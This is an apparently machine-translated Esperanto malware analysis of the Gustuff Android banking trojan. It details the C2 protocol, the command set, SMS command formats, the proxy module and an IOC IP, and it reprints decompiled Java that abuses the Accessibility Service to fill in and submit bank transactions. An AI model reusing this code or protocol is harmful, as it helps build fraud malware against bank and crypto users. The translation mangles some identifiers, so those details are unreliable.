Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj

Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj

Ĝuste la alian tagon Grupo-IB informita pri la agado de la movebla Android Trojan Gustuff. Ĝi funkcias ekskluzive sur internaciaj merkatoj, atakante klientojn de la 100 plej grandaj eksterlandaj bankoj, uzantoj de 32 moveblaj kriptaj monujoj, kaj ankaŭ grandajn e-komercajn rimedojn. Sed la programisto de Gustuff estas ruslingva ciberkrimulo sub la kromnomo Bestoffer. Pli lastatempe, li laŭdis sian trojanon kiel "seriozan produkton por homoj kun scio kaj sperto."

Group-IB Malica Kodo-Analizisto Ivan Pisarev en sia esplorado li detale parolas pri kiel Gustuff funkcias kaj kio estas ĝia danĝero.

Kiun ĉasas Gustuff?

Gustuff apartenas al nova generacio de malware kun plene aŭtomatigitaj funkcioj. Laŭ la programisto, la trojano fariĝis nova plibonigita versio de la malware AndyBot, kiu atakas Android-telefonojn ekde novembro 2017 kaj ŝtelas monon per phishing retaj formoj maskantaj kiel moveblaj aplikoj de konataj internaciaj bankoj kaj pagsistemoj. Bestoffer raportis, ke Gustuff Bot estis prezigita je $ 800 monate.

Analizo de la specimeno Gustuff montris, ke la Trojano eble celas klientojn uzante moveblajn aplikojn de la plej grandaj bankoj, kiel Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, same kiel Bitcoin Wallet. , BitPay kriptaj monujoj. , Cryptopay, Coinbase, ktp.

Komence kreita kiel klasika banka trojano, la nuna versio de Gustuff signife vastigis la liston de eblaj celoj por atako. Krom Android-aplikoj por bankoj, fintech-kompanioj kaj kriptaj servoj, Gustuff celas uzantojn de merkataplikoj, interretaj butikoj, pagsistemoj kaj tujmesaĝiloj. Aparte, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut kaj aliaj.

Enirpunkto: kalkulo por amasa infekto

Gustuff estas karakterizita per la "klasika" vektoro de penetrado en Android-poŝtelefonojn per SMS-sendaĵoj kun ligiloj al APK-oj. Kiam Android-aparato estas infektita per trojano laŭ ordono de la servilo, Gustuff povas plu disvastiĝi tra la kontakta datumbazo de la infektita telefono aŭ tra la servila datumbazo. La funkcieco de Gustuff estas desegnita por amasa infekto kaj maksimuma kapitaligo de la komerco de ĝiaj funkciigistoj - ĝi havas unikan "aŭtomaten" funkcion en legitimaj poŝtelefonaj bankadaj aplikoj kaj kriptaj monujoj, kio ebligas al vi akceli kaj grimpi la ŝtelon de mono. .

Studo pri la Trojano montris, ke la aŭtomata pleniga funkcio estas efektivigita en ĝi uzante la Alirebleco-Servon, servon por handikapuloj. Gustuff ne estas la unua trojano, kiu sukcese preterpasis protekton kontraŭ interago kun fenestraj elementoj de aliaj aplikaĵoj uzante ĉi tiun Android-servon. Tamen, la uzo de la Alirebleco-Servo en kombinaĵo kun aŭtomata plenigo estas ankoraŭ sufiĉe malofta.

Post elŝuto al la telefono de la viktimo, Gustuff, uzante la Alirebleco-Servon, ricevas la ŝancon interagi kun fenestraj elementoj de aliaj aplikoj (bankado, kripta monero, same kiel aplikoj por interreta aĉetado, mesaĝado, ktp.), farante la agojn necesajn por atakantoj. . Ekzemple, ĉe la komando de la servilo, la trojano povas alklaki butonojn kaj ŝanĝi la valorojn de tekstaj kampoj en bankaj aplikaĵoj. Uzado de la mekanismo de Alirebleco-Servo permesas al la trojano preteriri la protektajn mekanismojn uzatajn de bankoj por kontraŭstari moveblajn trojanojn de la antaŭa generacio, kaj ankaŭ ŝanĝojn en la sekureca politiko efektivigita de Google en novaj versioj de la Android OS. Do, Gustuff "scias kiel" malŝalti Google Protect-protekton: laŭ la aŭtoro, ĉi tiu funkcio funkcias en 70% de kazoj.

Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj

Gustuff ankaŭ povas montri falsajn PUSH-sciojn kun ikonoj de legitimaj moveblaj aplikoj. La uzanto alklakas la PUSH-sciigon kaj vidas phishing-fenestron elŝutitan de la servilo, kie li enmetas la petitajn datumojn de bankkarto aŭ kripta monujo. En alia scenaro, Gustuff malfermas la aplikaĵon nome de kiu la PUSH-sciigo estis montrita. En ĉi tiu kazo, la malware, laŭ ordono de la servilo per la Servo de Alirebleco, povas plenigi la formularajn kampojn de la banka aplikaĵo por fraŭda transakcio.

La funkcieco de Gustuff ankaŭ inkluzivas sendi informojn pri infektita aparato al la servilo, la kapablon legi / sendi SMS-mesaĝojn, sendi USSD-petojn, lanĉi SOCKS5 Proxy, sekvi ligilon, sendi dosierojn (inkluzive de fotoskanadoj de dokumentoj, ekrankopioj, fotoj) al la servilo, restarigi la aparaton al la fabrikaj agordoj.

Malware-analizo

Antaŭ ol instali malican aplikaĵon, Android OS montras al la uzanto fenestron enhavantan liston de la rajtoj petitaj de Gustuff:

Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj
La instalado de la aplikaĵo okazos nur post akiri la konsenton de la uzanto. Post lanĉo de la aplikaĵo, la trojano montros al la uzanto fenestron:

Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj
Tiam ĝi forigos sian ikonon.

Gustuff estas pakita, laŭ la aŭtoro, de la pakisto de FTT. Fojo lanĉita, la aplikaĵo periode aliras la CnC-servilon por ricevi komandojn. En pluraj el la dosieroj, kiujn ni studis, la IP-adreso estis uzata kiel kontrolservilo 88.99.171[.]105 (ĉi-poste nomata kiel <%C&C%>).

Post ekfunkciigo la programo komencas sendi mesaĝojn al la servilo http://<%CnC%>/api/v1/get.php.

La sekva JSON-formato estas atendata kiel respondo:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Kun ĉiu peto, la aplikaĵo sendas informojn pri la infektita aparato. La mesaĝoformato estas montrita sube. Oni notu, ke la kampoj plena, Ekstra, apps и permeson – nedeviga kaj estos sendita nur okaze de peta komando de CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Stokado de agordaj datumoj

Gustuff konservas gravajn informojn en preferdosiero. La dosiernomo, same kiel la parametronomoj en ĝi, estas la rezulto de kalkulado de la MD5-sumo el la ĉeno 15413090667214.6.1<%name%>kie <%name%> estas la origina nomvaloro. Python-interpreto de la nomgenera funkcio:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

En kio sekvas, ni indikos kiel nameGenerator (enigo).
Do la nomo de la unua dosiero estas: nameGenerator ("API_SERVER_LIST"), ĝi enhavas valorojn kun la sekvaj nomoj:

Variebla nomo valoro
nameGenerator ("API_SERVER_LIST") Enhavas liston de CnC-adresoj kiel tabelo.
nameGenerator ("API_SERVER_URL") Enhavas CnC-adreson.
nameGenerator ("SMS_UPLOAD") La flago estas agordita defaŭlte. Se la flago estas metita, ĝi sendas SMS-mesaĝojn al CnC.
nameGenerator ("SMS_ROOT_NUMBER") Telefonnumero al kiu estos senditaj SMS-mesaĝoj ricevitaj de la infektita aparato. La defaŭlto estas nula.
nameGenerator ("SMS_ROOT_NUMBER_RESEND") La flago estas forigita defaŭlte. Se fiksite, kiam infektita aparato ricevas SMS, ĝi estos sendita al la radika numero.
nameGenerator ("DEFAULT_APP_SMS") La flago estas forigita defaŭlte. Se ĉi tiu flago estas agordita, la aplikaĵo prilaboros envenantajn SMS-mesaĝojn.
nameGenerator ("DEFAULT_ADMIN") La flago estas forigita defaŭlte. Se la flago estas metita, la aplikaĵo havas administrantajn rajtojn.
nameGenerator ("DEFAULT_ACCESSIBILITY") La flago estas forigita defaŭlte. Se la flago estas metita, la servo kiu uzas la Alirebleco-Servon funkcias.
nameGenerator ("APPS_CONFIG") JSON-objekto, enhavas liston de agoj farotaj kiam evento de Alirebleco estas pafita asociita kun specifa aplikaĵo.
nameGenerator ("APPS_INSTALLED") Stokas liston de aplikaĵoj instalitaj sur la aparato.
nameGenerator ("IS_FIST_RUN") La flago estas malbarita ĉe la unua komenco.
nameGenerator ("UNIQUE_ID") Enhavas unikan identigilon. Generita kiam la bot unue estas lanĉita.

Modulo pri pretiga komando de servilo

La aplikaĵo stokas adresojn de CnC-serviloj kiel aro de kodigitaj Bazo85 linioj. La listo de CnC-serviloj povas esti ŝanĝita post ricevo de la taŭga komando, en kiu kazo la adresoj estos konservitaj en la preferdosiero.

Responde al la peto, la servilo sendas komandon al la aplikaĵo. Oni devas rimarki, ke komandoj kaj parametroj estas prezentitaj en JSON-formato. La aplikaĵo povas procesi la jenajn komandojn:

teamo Priskribo
antaŭenStart Komencu sendi SMS-mesaĝojn ricevitajn de la infektita aparato al la CnC-servilo.
antaŭenHaltu Ĉesu sendi SMS-mesaĝojn ricevitajn de la infektita aparato al la CnC-servilo.
ussdRun Faru USSD-peton. La nombro al kiu vi devas fari USSD-peton estas en la "numero" JSON-kampo.
sendiSms Sendu unu SMS-mesaĝon (se necese, la mesaĝo estas "dividita" en partojn). Kiel parametro, la komando prenas JSON-objekton enhavantan la kampojn "al" - la celnombro kaj "korpo" - la korpon de la mesaĝo.
sendiSmsAb Sendu SMS-mesaĝojn (se necese, la mesaĝo estas "dividita" en partojn) al ĉiuj el la kontaktlisto de la infektita aparato. La intervalo inter sendado de mesaĝoj estas 10 sekundoj. La korpo de la mesaĝo estas en la JSON-kampo "korpo"
sendiSmsMass Sendu SMS-mesaĝojn (se necese, la mesaĝo estas "dividita" en partojn) al la kontaktoj specifitaj en la komandaj parametroj. La intervalo inter sendado de mesaĝoj estas 10 sekundoj. Kiel parametro, la komando prenas JSON-tabelon (kampo "sms"), kies elementoj enhavas la kampojn "al" - la celnombro kaj "korpo" - la korpo de la mesaĝo.
ŝanĝservilo Ĉi tiu komando povas preni valoron kun la "url" ŝlosilo kiel parametro - tiam la roboto ŝanĝos la valoron de nameGenerator ("SERVER_URL"), aŭ "array" - tiam la roboto skribos la tabelon al nameGenerator ("API_SERVER_LIST") Tiel, la aplikaĵo ŝanĝas la adreson de CnC-serviloj.
adminNumero La komando estas desegnita por labori kun la radika nombro. La komando akceptas JSON-objekton kun la sekvaj parametroj: "numero" - ŝanĝi nameGenerator ("ROOT_NUMBER") al la ricevita valoro, "resendi" - ŝanĝi nameGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - sendi unikan ID al nameGenerator ("ROOT_NUMBER) ").
ĝisdatigi informojn Sendu informojn pri la infektita aparato al la servilo.
wipeData La komando estas destinita por forigi uzantdatenojn. Depende de kiu nomo la aplikaĵo estis lanĉita, aŭ la kompleta forviŝo de datumoj kun rekomenco de la aparato (ĉefa uzanto) aŭ la forigo de nur uzantdatenoj (sekundara uzanto) okazas.
ŝtrumpetojStart Lanĉu la prokuran modulon. La funkciado de la modulo estas priskribita en aparta sekcio.
ŝtrumpetojHaltu Ĉesigu la prokuran modulon.
openLink Sekvu la ligilon. La ligilo estas en la JSON-parametro per la "url" ŝlosilo. "android.intent.action.VIEW" estas uzata por malfermi la ligilon.
alŝutiĈiujnSms Sendu ĉiujn SMS-mesaĝojn ricevitajn de la aparato al la servilo.
alŝutuĈiujn Fotojn Sendu bildojn de la infektita aparato al la URL. La URL venas kiel parametro.
alŝuti dosieron Sendu dosieron de infektita aparato al URL. La URL venas kiel parametro.
alŝutu Telefonnumerojn Sendu telefonnumerojn de la kontaktlisto al la servilo. Se JSON-objekto kun la ŝlosilo "ab" venas kiel parametro, la aplikaĵo ricevas liston de kontaktoj de la telefonlibro. Se JSON-objekto kun la ŝlosilo "sms" estas ricevita kiel parametro, la aplikaĵo legas la liston de kontaktoj de la sendintoj de SMS-mesaĝoj.
ŝanĝiArkivon La aplikaĵo elŝutas dosieron de la adreso kiu venas kiel parametro uzante la "url" ŝlosilon. La elŝutita dosiero estas konservita kun la nomo "archive.zip". Post tio, la aplikaĵo malzipos la dosieron, se necese uzante la pasvorton por la arkivo "b5jXh37gxgHBrZhQ4j3D". La malzipitaj dosieroj estas konservitaj en la dosierujo [ekstera stokado]/hgps. En ĉi tiu dosierujo, la aplikaĵo stokas retajn falsaĵojn (priskribitajn sube).
agoj La komando estas desegnita por labori kun Action Service, kiu estas priskribita en aparta sekcio.
testo Fari nenion.
malŝarĝo La komando estas desegnita por elŝuti dosieron de fora servilo kaj konservi ĝin en la dosierujo de Elŝutoj. La URL kaj la dosiernomo venas kiel parametro, la kampoj en la JSON-objekto estas la parametro respektive: "url" kaj "fileName".
forigu Forigas dosieron el la dosierujo Elŝutoj. La dosiernomo venas en JSON-parametro kun la ŝlosilo "fileName". La defaŭlta dosiernomo estas "tmp.apk".
sciigo Montru sciigon kun priskribo kaj titoltekstoj difinitaj de la administra servilo.

Komanda formato sciigo:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

La sciigo generita de la esplorita dosiero aspektas identa al sciigoj generitaj de la aplikaĵo specifita en la kampo app. Se la kampo valoro openApp — Vere, kiam la sciigo estas malfermita, la aplikaĵo specifita en la kampo estas lanĉita app. Se la kampo valoro openApp - False do:

  • fenestro de phishing malfermiĝas, kies enhavo estas ŝargita el la dosierujo <%external storage%>/hgps/<%filename%>
  • malfermiĝas phishing fenestro, kies enhavo estas elŝutita de la servilo <%url%>?id=<%Bot id%>&app=<%Aplika nomo%>
  • fenestro de phishing maskita kiel Google Play Card malfermiĝas, kun la opcio enigi kartodetalojn.

La aplikaĵo sendas la rezulton de la ekzekuto de ajna komando al <%CnC%>set_state.php kiel JSON-objekto en la sekva formato:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

AgojServo
La listo de komandoj, kiujn la aplikaĵprocezoj inkluzivas ago. Kiam komando estas ricevita, la komanda prilabora modulo vokas ĉi tiun servon por efektivigi la plilongigitan komandon. La servo prenas JSON-objekton kiel parametron. La servo povas ekzekuti la jenajn komandojn:

1. PARAMS_ACTION - ricevinte tian komandon, la servo antaŭ ĉio ricevas valoron de la parametro JSON per la klavo Tipo, ĝi povas esti jene:

  • servoInfo – la subkomando ricevas la valoron de la JSON-parametro per ŝlosilo inkluziviNeGravas. Se la flago estas Vera, la aplikaĵo metas la flagon FLAG_IZOLATED_PROCESS al servo kiu uzas la Alirebleco-Servon. Tiel, la servo estos lanĉita en aparta procezo.
  • radikon - ricevi kaj sendi al la servilo informojn pri la fenestro, kiu estas nuntempe enfokusigita. Apliko akiras informojn uzante la klason AccessibilityNodeInfo.
  • administristo - peti administrantajn rajtojn.
  • prokrasti - suspendu la ActionsService por la nombro da milisekundoj specifita en la parametro per la "datumo" ŝlosilo.
  • fenestroj — sendu liston de fenestroj videblaj al la uzanto.
  • instali — instalu la aplikaĵon sur la infektita aparato. La nomo de la pakaĵo - arkivo estas en la ŝlosilo "dosieronomo". La arkivo mem troviĝas en la dosierujo Elŝutoj.
  • tutmondaj – la subkomando estas destinita por ŝanĝi de la nuna fenestro:
    • en la menuo de Rapidaj Agordoj
    • reen
    • hejmen
    • al sciigoj
    • al la ĵus malfermita fenestro de aplikaĵoj

  • Ĵeto - lanĉi la aplikaĵon. La nomo de la aplikaĵo venas kiel ŝlosila parametro datumoj.
  • sonoj — ŝanĝi la sonreĝimon al silento.
  • malŝlosi - ŝaltas la fonlumon de la ekrano kaj klavaro al plena brilo. La aplikaĵo faras ĉi tiun agon uzante WakeLock, specifas la ĉenon [Aplika etikedo]:INFO kiel etikedo
  • permesoOverlay — funkcio ne efektivigita (respondo al komanda ekzekuto — {"message":"Ne subtenas"} aŭ {"message":"malalta sdk"})
  • gesto — funkcio ne efektivigita (respondo al komanda ekzekuto — {"message":"Ne subtenas"}aŭ {"message":"Malalta API"})
  • permesojn - Ĉi tiu komando estas postulata por peti permesojn por la aplikaĵo. Tamen, la peta funkcio ne estas efektivigita, do la komando estas sensenca. La listo de petitaj permesoj venas kiel JSON-tabelo kun la "permesoj" ŝlosilo. Norma listo:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • malfermita — montri phishing fenestro. Depende de la parametro venanta de la servilo, la aplikaĵo povas montri la sekvajn phishing-fenestrojn:
    • Montru phishing-fenestron kies enhavo estas skribita en dosiero en dosierujo <%external directory%>/hgps/<%param_filename%>. La rezulto de uzantinterago kun la fenestro estos sendita al la adreso <%CnC%>/records.php
    • Montru phishing fenestro kies enhavo estas antaŭŝarĝita de adreso <%url_param%>?id=<%bot_id%>&app=<%packagename%>. La rezulto de uzantinterago kun la fenestro estos sendita al la adreso <%CnC%>/records.php
    • Montru phishing-fenestron alivestitan kiel Google Play Card.

  • interaktiva — la komando estas desegnita por interagi kun fenestraj elementoj de aliaj aplikaĵoj uzante la AccesibilityService. Speciala servo estas efektivigita en la programo por interago. La esplorita aplikaĵo povas interagi kun fenestroj:
    • Aktive nuntempe. En ĉi tiu kazo, la parametro enhavas la id aŭ tekston (nomon) de la objekto kun kiu vi volas interagi.
    • Videbla por la uzanto en la momento kiam la komando estas ekzekutita. La aplikaĵo elektas fenestrojn per id.

    Ricevinte la objektojn AlireblecoNodeInfo por interesaj fenestraj elementoj, la aplikaĵo, depende de la parametroj, povas plenumi la jenajn agojn:

    • focus - fiksi fokuson al objekto.
    • klaku - klaku sur objekto.
    • actionId - plenumi agon per ID.
    • setText - ŝanĝi la tekston de la objekto. Ŝanĝi la tekston eblas du manieroj: plenumi agon ACTION_SET_TEXT (se la Android-versio de la infektita aparato estas pli juna ol aŭ egala al LOLLIPOP), aŭ metante ŝnuron sur la tondujo kaj algluante ĝin en objekton (por pli malnovaj versioj). Ĉi tiu komando povas esti uzata por ŝanĝi datumojn en la banka aplikaĵo.

2. PARAMS_ACTIONS - la sama kiel PARAMS_ACTION, nur JSON-tabelo de komandoj alvenas.

Ŝajnas, ke multaj interesiĝos pri kiel aspektas la funkcio interagi kun la elementoj de la fenestro de alia aplikaĵo. Jen kiel ĉi tiu funkcio estas efektivigita en Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksta anstataŭiga funkcio:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Tiel, kun la ĝusta agordo de la kontrolservilo, Gustuff povas plenigi la tekstajn kampojn en la banka aplikaĵo kaj alklaki la butonojn necesajn por plenumi la transakcion. La trojano eĉ ne bezonas pasi rajtigon en la aplikaĵo - sufiĉas sendi komandon por pruvi PUSH-sciigon, poste malfermi antaŭe instalitan bankan aplikaĵon. La uzanto mem estos rajtigita, post kio Gustuff povos aŭtomate plenigi.

SMS-pretiga modulo

La aplikaĵo starigas evento-traktilon por ricevi SMS-mesaĝojn per la infektita aparato. La studata aplikaĵo povas ricevi komandojn de la funkciigisto, kiuj venas en la korpo de SMS-mesaĝo. Komandoj venas en la formato:

7!5=<%Base64 kodita komando%>

La aplikaĵo serĉas ĉiujn envenantajn SMS-mesaĝojn por la ĉeno 7!5=, kiam ŝnuro estas trovita, ĝi malkodas la ŝnuron de Base64 ĉe ofseto 4 kaj efektivigas la komandon. La komandoj estas similaj al la komandoj kun CnC. La rezulto de la ekzekuto estas sendita al la sama nombro de kiu la komando estis ricevita. Formato de respondo:

7*5=<%Base64-kodo de "rezulta_koda komando"%>

Laŭvole, la aplikaĵo povas sendi ĉiujn ricevitajn mesaĝojn al la Radika numero. Por fari tion, la Radika numero devas esti specifita en la preferdosiero kaj la mesaĝo alidirekta flago devas esti agordita. SMS-mesaĝo estas sendita al la numero de la atakanto en la sekva formato:

<%From number%> - <%Time, formato: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Ankaŭ, laŭvole, la aplikaĵo povas sendi mesaĝojn al la CnC. La SMS-mesaĝo estas sendita al la servilo en formato JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Se la flago estas metita nameGenerator ("DEFAULT_APP_SMS") – la aplikaĵo ĉesas prilabori la SMS-mesaĝon kaj forigas la liston de envenantaj mesaĝoj.

Prokura modulo

En la studata aplikaĵo, ekzistas Backconnect Proxy-modulo (ĉi-poste nomata Proxy-modulo), kiu havas apartan klason, kiu inkluzivas senmovajn kampojn kun agordo. Agordaj datumoj estas konservitaj en la specimeno en klara teksto:

Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj

Ĉiuj agoj faritaj de la Prokura modulo estas registritaj al dosieroj. Por fari tion, la aplikaĵo kreas dosierujon nomitan "protokoloj" en Ekstera Stokado (la kampo ProxyConfigClass.logsDir en la agorda klaso), en kiu protokolaj dosieroj estas konservitaj. Registrado okazas en dosieroj kun nomoj:

  1. ĉefa.txt – ĉi tiu dosiero estas uzata por registri la laboron de klaso nomata CommandServer. En kio sekvas, la protokolo de la ĉeno str al ĉi tiu dosiero estos indikita kiel mainLog(str).
  2. sesio-<%id%>.txt — registri datumoj asociitaj kun certa prokura sesio estas konservita en ĉi tiu dosiero. En kio sekvas, la protokolo de la ĉeno str al ĉi tiu dosiero estos indikita kiel sessionLog (str).
  3. servilo.txt – ĉi tiu dosiero estas kie ĉiuj datumoj skribitaj al la supraj dosieroj estas registritaj.

Formato de registro de datumoj:

<%Date%> [Fadeno[<%thread id%>], id[]]: log-ŝnuro

Esceptoj kiuj okazas dum la funkciado de la Prokura modulo ankaŭ estas registritaj al dosiero. Por fari tion, la aplikaĵo generas JSON-objekton de la formato:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Tiam ĝi konvertas ĝin al korda reprezento kaj protokoloj.

La prokura modulo estas lanĉita post kiam la responda komando alvenas. Kiam komando estas ricevita por komenci la prokuran modulon, la aplikaĵo komencas la servon kun la nomo Ĉefservo, kiu respondecas pri administrado de la funkciado de la Proxy-modulo - komenci kaj haltigi ĝin.

Paŝoj pri lanĉo de servo:

1. Lanĉas tempigilon, kiu pafas unufoje ĉiuminute kaj kontrolas la agadon de la prokura modulo. Se la modulo ne estas aktiva, ĝi lanĉas ĝin.
Ankaŭ kiam la evento pafas android.net.conn.CONNECTIVITY_CHANGE la prokura modulo estas lanĉita.

2. La aplikaĵo kreas wake-lock kun parametro PARTIAL_WAKE_LOCK kaj kaptas lin. Tiel, ĝi ne permesas al la CPU de la aparato iri en dormreĝimon.

3. Rulas la komandan pretigan klason de la prokura modulo, unue registrante la linion ĉefaLog ("komencservilo") и

Servilo::start() gastiganto[<%proxy_cnc%>], komandPorto[<%command_port%>], proxyPort[<%proxy_port%>]

kie proxy_cnc, ordon_port kaj proxy_port – parametroj ricevitaj de la agordo de prokura servilo.

La komanda prilabora klaso estas nomita CommandConnection. Tuj post lanĉo, ĝi faras la jenajn agojn:

4. Konektas al ProxyConfigClass.gastiganto: ProxyConfigClass.commandPort kaj sendas tie datumojn pri la infektita aparato en formato JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kie:

  • id - identigilo, provante akiri el la Komuna Prefero dosiero kun la nomo "x" valoron kun la kampo "id". Se ĉi tiu valoro ne povus esti akirita, ĝi generas novan. Tiel, la prokura modulo havas sian propran identigilon, kiu estas generita simile al la Bot-ID.
  • imei - IMEI de la aparato. Se okazis eraro dum ricevado de la valoro, erara tekstmesaĝo estos skribita anstataŭ ĉi tiu kampo.
  • imsi - Internacia Poŝtelefona Abonanto Identeco de la aparato. Se okazis eraro dum ricevado de la valoro, erara tekstmesaĝo estos skribita anstataŭ ĉi tiu kampo.
  • modelo - La finuzant-videbla nomo por la finprodukto.
  • fabrikisto - La fabrikisto de la produkto/aparataro (Build.MANUFACTURER).
  • androidVersion estas ĉeno en la formato "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • lando estas la nuna loko de la aparato.
  • partnerId estas malplena ĉeno.
  • packageName - packagename.
  • networkType - tipo de nuna retkonekto (ekzemplo: "WIFI", "MOBILO"). Redonas nulan pro eraro.
  • hasGsmSupport - vera - se la telefono subtenas GSM, alie malvera.
  • simReady - statuso de SIM-karto.
  • simCountry - ISO-kodo de la lando (surbaze de la provizanto de SIM-karto).
  • networkOperator - la nomo de la funkciigisto. Se okazis eraro dum ricevado de la valoro, erara tekstmesaĝo estos skribita anstataŭ ĉi tiu kampo.
  • simOperator - La Servoprovizanta Nomo (SPN). Se okazis eraro dum ricevado de la valoro, erara tekstmesaĝo estos skribita anstataŭ ĉi tiu kampo.
  • versio - ĉi tiu kampo estas konservita en la agorda klaso, por la studitaj versioj de la roboto ĝi estis egala al "1.6".

5. Ŝaltas al la reĝimo atendi komandojn de la servilo. Komandoj de la servilo venas en la formato:

  • 0 ofseto-komando
  • 1 ofset-sessionId
  • 2 ofseto-longo
  • 4 ofseto-datumoj

Kiam komando estas ricevita, la aplikaĵo registras:
ĉefaLog("Ĉefkapo { sessionId<%id%>], tajpu[<%command%>], longeco[<%length%>] }")

La jenaj komandoj eblas de la servilo:

Nomo komando datumoj Priskribo
connectionId 0 Konekto ID Kreu novan konekton
MALSANO 3 tempo Malakceptu la prokuran modulon
PING PONG 4 - Sendu PONG-mesaĝon

PONG-mesaĝo konsistas el 4 bajtoj kaj aspektas jene: 0x04000000.

